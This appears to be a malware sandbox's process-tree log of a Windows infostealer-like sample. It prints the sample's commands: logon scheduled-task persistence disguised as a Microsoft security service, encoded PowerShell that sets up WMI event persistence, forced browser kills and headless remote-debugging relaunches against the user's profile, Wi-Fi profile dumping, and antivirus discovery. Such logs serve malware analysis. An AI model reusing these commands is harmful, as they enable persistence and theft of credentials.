- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /query /tn MicrosoftSecurityHealth
    3⤵
    PID:4728
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /f /tn MicrosoftSecurityHealth /tr C:\Users\Admin\AppData\Roaming\Microsoft\Security\SecurityHealthService.exe /sc onlogon /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -EncodedCommand JABmAD0AWwB3AG0AaQBzAGUAYQByAGMAaABlAHIAXQAiAFMARQBMAEUAQwBUACAAKgAgAEYAUgBPAE0AIABfAF8ARgBpAGwAdABlAHIAVABvAEMAbwBuAHMAdQBtAGUAcgBCAGkAbgBkAGkAbgBnACAAVwBIAEUAUgBFACAARgBpAGwAdABlAHIAPQAnAF8AXwBFAHYAZQBuAHQARgBpAGwAdABlAHIALgBOAGEAbQBlAD0AIgBTAGgAYQBkAG8AdwBGAGkAbAB0AGUAcgAiACcAIgA7ACIAaQBmACgAJABmAC4ARwBlAHQAKAApAC4AQwBvAHUAbgB0ACAALQBlAHEAIAAwACkAewAkAGYAaQBsAHQAPQAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AIgBcAFwALgBcAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgA6AF8AXwBFAHYAZQBuAHQARgBpAGwAdABlAHIAIgApAC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAKQA7ACQAZgBpAGwAdAAuAE4AYQBtAGUAPQAiAFMAaABhAGQAbwB3AEYAaQBsAHQAZQByACIAOwAkAGYAaQBsAHQALgBFAHYAZQBuAHQATgBhAG0AZQBTAHAAYQBjAGUAPQAiAHIAbwBvAHQAXABjAGkAbQB2ADIAIgA7ACQAZgBpAGwAdAAuAFEAdQBlAHIAeQBMAGEAbgBnAHUAYQBnAGUAPQAiAFcAUQBMACIAOwAkAGYAaQBsAHQALgBRAHUAZQByAHkAPQAiAFMARQBMAEUAQwBUACAAKgAgAEYAUgBPAE0AIABfAF8ASQBuAHMAdABhAG4AYwBlAE0AbwBkAGkAZgBpAGMAYQB0AGkAbwBuAEUAdgBlAG4AdAAgAFcASQBUAEgASQBOACAANgAwACAAVwBIAEUAUgBFACAAVABhAHIAZwBlAHQASQBuAHMAdABhAG4AYwBlACAASQBTAEEAIAAnAFcAaQBuADMAMgBfAFAAZQByAGYARgBvAHIAbQBhAHQAdABlAGQARABhAHQAYQBfAFAAZQByAGYATwBTAF8AUwB5AHMAdABlAG0AJwAiADsAJABmAGkAbAB0AC4AUAB1AHQAKAApADsAJABjAG8AbgBzAD0AKABbAHcAbQBpAGMAbABhAHMAcwBdACIAXABcAC4AXAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AOgBDAG8AbQBtAGEAbgBkAEwAaQBuAGUARQB2AGUAbgB0AEMAbwBuAHMAdQBtAGUAcgAiACkALgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAApADsAJABjAG8AbgBzAC4ATgBhAG0AZQA9ACIAUwBoAGEAZABvAHcAQwBvAG4AcwB1AG0AZQByACIAOwAkAGMAbwBuAHMALgBDAG8AbQBtAGEAbgBkAEwAaQBuAGUAVABlAG0AcABsAGEAdABlAD0AIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAUwBlAGMAdQByAGkAdAB5AFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAiADsAJABjAG8AbgBzAC4AUAB1AHQAKAApADsAJABiAGkAbgBkAD0AKABbAHcAbQBpAGMAbABhAHMAcwBdACIAXABcAC4AXAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AOgBfAF8ARgBpAGwAdABlAHIAVABvAEMAbwBuAHMAdQBtAGUAcgBCAGkAbgBkAGkAbgBnACIAKQAuAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACkAOwAkAGIAaQBuAGQALgBGAGkAbAB0AGUAcgA9ACQAZgBpAGwAdAAuAF8AXwBQAEEAVABIADsAJABiAGkAbgBkAC4AQwBvAG4AcwB1AG0AZQByAD0AJABjAG8AbgBzAC4AXwBfAFAAQQBUAEgAOwAkAGIAaQBuAGQALgBQAHUAdAAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5040
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:6108
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:4432
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im brave.exe
    3⤵
    - Kills process with taskkill
    PID:1880
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im opera.exe
    3⤵
    - Kills process with taskkill
    PID:5148
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:1104
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:2180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=19343 --headless=new --disable-gpu --no-first-run --no-default-browser-check --disable-extensions --disable-background-networking --disable-component-update --disable-sync --disable-default-apps --mute-audio --no-sandbox "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3112
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x134,0x138,0x13c,0x110,0x140,0x7ffda317c728,0x7ffda317c734,0x7ffda317c740
      4⤵
      PID:4988
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1892,i,14492778968356084377,15932550943433181046,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1888 /prefetch:2
      4⤵
      PID:5936
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=1892,i,14492778968356084377,15932550943433181046,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1992 /prefetch:11
      4⤵
      System Time Discovery
      PID:2772
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1892,i,14492778968356084377,15932550943433181046,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:13
      4⤵
      PID:5848
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19343 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1892,i,14492778968356084377,15932550943433181046,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2496
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19343 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1892,i,14492778968356084377,15932550943433181046,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1968
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19343 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1892,i,14492778968356084377,15932550943433181046,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4080 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5484
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1892,i,14492778968356084377,15932550943433181046,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:14
      4⤵
      PID:608
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:4808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=19770 --headless=new --disable-gpu --no-first-run --no-default-browser-check --disable-extensions --disable-background-networking --disable-component-update --disable-sync --disable-default-apps --mute-audio --no-sandbox "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x224,0x7ffda1a6c188,0x7ffda1a6c194,0x7ffda1a6c1a0
      4⤵
      PID:6124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1824 /prefetch:2
      4⤵
      PID:2096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:11
      4⤵
      System Time Discovery
      PID:720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:13
      4⤵
      PID:4880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19770 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19770 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19770 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19770 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:4192
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
      4⤵
      PID:3368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:14
      4⤵
      PID:3404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
      4⤵
      PID:3852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1836,i,2905910587631252034,13260637407169307807,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
      4⤵
      PID:1036
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:1652
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:1588
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:5012
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im brave.exe
    3⤵
    - Kills process with taskkill
    PID:3340
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im opera.exe
    3⤵
    - Kills process with taskkill
    PID:5848
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3092
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:3304
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:2672
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:5360
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im brave.exe
    3⤵
    - Kills process with taskkill
    PID:5832
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im opera.exe
    3⤵
    - Kills process with taskkill
    PID:2740
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:5980
- - C:\Windows\SYSTEM32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2832

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E0 0x00000000000004F0
1⤵
PID:4516

C:\Users\Admin\AppData\Roaming\Microsoft\Security\SecurityHealthService.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Security\SecurityHealthService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Users\Admin\AppData\Roaming\Microsoft\Security\SecurityHealthService.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Security\SecurityHealthService.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:2736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mode con: cols=80 lines=30
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\mode.com
      mode con: cols=80 lines=30
      4⤵
      PID:1496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:3316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:3404
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4400
- - C:\Windows\System32\Wbem\wmic.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5708
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_videocontroller get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:2404
- - C:\Windows\System32\Wbem\wmic.exe
    wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4320
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:244
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /query /tn MicrosoftSecurityHealth
    3⤵
    PID:408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -EncodedCommand JABmAD0AWwB3AG0AaQBzAGUAYQByAGMAaABlAHIAXQAiAFMARQBMAEUAQwBUACAAKgAgAEYAUgBPAE0AIABfAF8ARgBpAGwAdABlAHIAVABvAEMAbwBuAHMAdQBtAGUAcgBCAGkAbgBkAGkAbgBnACAAVwBIAEUAUgBFACAARgBpAGwAdABlAHIAPQAnAF8AXwBFAHYAZQBuAHQARgBpAGwAdABlAHIALgBOAGEAbQBlAD0AIgBTAGgAYQBkAG8AdwBGAGkAbAB0AGUAcgAiACcAIgA7ACIAaQBmACgAJABmAC4ARwBlAHQAKAApAC4AQwBvAHUAbgB0ACAALQBlAHEAIAAwACkAewAkAGYAaQBsAHQAPQAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AIgBcAFwALgBcAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgA6AF8AXwBFAHYAZQBuAHQARgBpAGwAdABlAHIAIgApAC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAKQA7ACQAZgBpAGwAdAAuAE4AYQBtAGUAPQAiAFMAaABhAGQAbwB3AEYAaQBsAHQAZQByACIAOwAkAGYAaQBsAHQALgBFAHYAZQBuAHQATgBhAG0AZQBTAHAAYQBjAGUAPQAiAHIAbwBvAHQAXABjAGkAbQB2ADIAIgA7ACQAZgBpAGwAdAAuAFEAdQBlAHIAeQBMAGEAbgBnAHUAYQBnAGUAPQAiAFcAUQBMACIAOwAkAGYAaQBsAHQALgBRAHUAZQByAHkAPQAiAFMARQBMAEUAQwBUACAAKgAgAEYAUgBPAE0AIABfAF8ASQBuAHMAdABhAG4AYwBlAE0AbwBkAGkAZgBpAGMAYQB0AGkAbwBuAEUAdgBlAG4AdAAgAFcASQBUAEgASQBOACAANgAwACAAVwBIAEUAUgBFACAAVABhAHIAZwBlAHQASQBuAHMAdABhAG4AYwBlACAASQBTAEEAIAAnAFcAaQBuADMAMgBfAFAAZQByAGYARgBvAHIAbQBhAHQAdABlAGQARABhAHQAYQBfAFAAZQByAGYATwBTAF8AUwB5AHMAdABlAG0AJwAiADsAJABmAGkAbAB0AC4AUAB1AHQAKAApADsAJABjAG8AbgBzAD0AKABbAHcAbQBpAGMAbABhAHMAcwBdACIAXABcAC4AXAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AOgBDAG8AbQBtAGEAbgBkAEwAaQBuAGUARQB2AGUAbgB0AEMAbwBuAHMAdQBtAGUAcgAiACkALgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAApADsAJABjAG8AbgBzAC4ATgBhAG0AZQA9ACIAUwBoAGEAZABvAHcAQwBvAG4AcwB1AG0AZQByACIAOwAkAGMAbwBuAHMALgBDAG8AbQBtAGEAbgBkAEwAaQBuAGUAVABlAG0AcABsAGEAdABlAD0AIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAUwBlAGMAdQByAGkAdAB5AFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAiADsAJABjAG8AbgBzAC4AUAB1AHQAKAApADsAJABiAGkAbgBkAD0AKABbAHcAbQBpAGMAbABhAHMAcwBdACIAXABcAC4AXAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AOgBfAF8ARgBpAGwAdABlAHIAVABvAEMAbwBuAHMAdQBtAGUAcgBCAGkAbgBkAGkAbgBnACIAKQAuAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACkAOwAkAGIAaQBuAGQALgBGAGkAbAB0AGUAcgA9ACQAZgBpAGwAdAAuAF8AXwBQAEEAVABIADsAJABiAGkAbgBkAC4AQwBvAG4AcwB1AG0AZQByAD0AJABjAG8AbgBzAC4AXwBfAFAAQQBUAEgAOwAkAGIAaQBuAGQALgBQAHUAdAAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6028
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:3092
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:3776
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im brave.exe
    3⤵
    - Kills process with taskkill
    PID:5180
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im opera.exe
    3⤵
    - Kills process with taskkill
    PID:1372
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:4808
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:3148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=19426 --headless=new --disable-gpu --no-first-run --no-default-browser-check --disable-extensions --disable-background-networking --disable-component-update --disable-sync --disable-default-apps --mute-audio --no-sandbox "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
